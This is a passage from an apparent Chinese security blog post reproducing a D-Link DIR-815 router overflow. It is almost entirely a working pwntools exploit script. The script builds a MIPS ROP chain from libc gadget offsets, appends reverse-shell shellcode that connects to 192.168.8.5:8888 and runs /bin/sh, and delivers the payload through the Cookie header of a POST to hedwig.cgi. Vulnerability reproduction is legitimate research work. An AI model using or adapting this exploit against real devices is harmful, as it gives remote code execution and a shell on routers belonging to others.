def gdbp(p,a='') :
if a!='':
gdb.attach(p,a)
pause()
else :
gdb.attach(p)
pause()

#p = remote({IP})
#p = process("./pwn")
#elf = ELF("./pwn")
#libc = ELF("./libc.so.6")
#lib = cdll.LoadLibrary(None)

#loadsym = "glibc-debug --reload-symbols /home/zlsf/sysset/glibc-all-in-one/libs/2.41-6ubuntu1.1_amd64"
#code_addr = " ./glibc-2.41.tar.gz --force"

#p = process(["qemu-mipsel-static","-g", "9999","-L","./","./pwn"])
#p = process(["qemu-mipsel-static","-L","./","./pwn"])

#context.log_level = 'debug'
context.arch = 'mips'
context.os = 'linux'
#elf.arch , elf.so

libc_base = 0x77f34000

payload = b'A'*0x3cd
payload+= b'A'*4
payload+= p32(libc_base + 0x436D0) # s1 move $t9, $s3 (=> lw... => jalr $t9)
payload+= b'A'*4
payload+= p32(libc_base + 0x56BD0) # s3 sleep
payload+= b'A'*(4*5)
payload+= p32(libc_base + 0x57E50) # ra li $a0, 1 (=> jalr $s1)

payload+= b'A'*0x18
payload+= b'A'*(4*4)
payload+= p32(libc_base + 0x37E6C) # s4 move $t9, $a1 (=> jalr $t9)
payload+= p32(libc_base + 0x3B974) # ra addiu $a1, $sp, 0x18 (=> jalr $s4)

shellcode = asm('''
slti $a0, $zero, 0xFFFF
li $v0, 4006
syscall 0x42424

slti $a0, $zero, 0x1111
li $v0, 4006
syscall 0x42424

li $t4, 0xFFFFFFFD
not $a0, $t4
li $v0, 4006
syscall 0x42424

li $t4, 0xFFFFFFFD
not $a0, $t4
not $a1, $t4
slti $a2, $zero, 0xFFFF
li $v0, 4183
syscall 0x42424

andi $a0, $v0, 0xFFFF
li $v0, 4041
syscall 0x42424
li $v0, 4041
syscall 0x42424

lui $a1, 0xB821 # Port: 8888
ori $a1, 0xFF01
addi $a1, $a1, 0x0101
sw $a1, -8($sp)

li $a1, 0x0508A8C0 # IP: 192.168.8.5
sw $a1, -4($sp)
addi $a1, $sp, -8

li $t4, 0xFFFFFFEF
not $a2, $t4
li $v0, 4170
syscall 0x42424

lui $t0, 0x6962
ori $t0, $t0,0x2f2f
sw $t0, -20($sp)

lui $t0, 0x6873
ori $t0, 0x2f6e
sw $t0, -16($sp)

slti $a3, $zero, 0xFFFF
sw $a3, -12($sp)
sw $a3, -4($sp)

addi $a0, $sp, -20
addi $t0, $sp, -20
sw $t0, -8($sp)
addi $a1, $sp, -8

addiu $sp, $sp, -20

slti $a2, $zero, 0xFFFF
li $v0, 4011
syscall 0x42424
''')
payload+= b'a'*0x18
payload+= shellcode

url = "http://192.168.8.6:8080/hedwig.cgi"
data = {"A" : "A"}
headers = {
"Cookie" : b"uid=" + payload,
"Content-Type" : "application/x-www-form-urlencoded",
"Content-Length": "3"
}
res = requests.post(url = url, headers = headers, data = data)
print(res)

D-Link_DIR-815_路由器溢出漏洞分析复现
https://zlsf-zl.github.io/2026/05/07/D-Link-DIR-815-路由器溢出漏洞分析复现/
作者
ZLSF
发布于
2026年5月7日
许可协议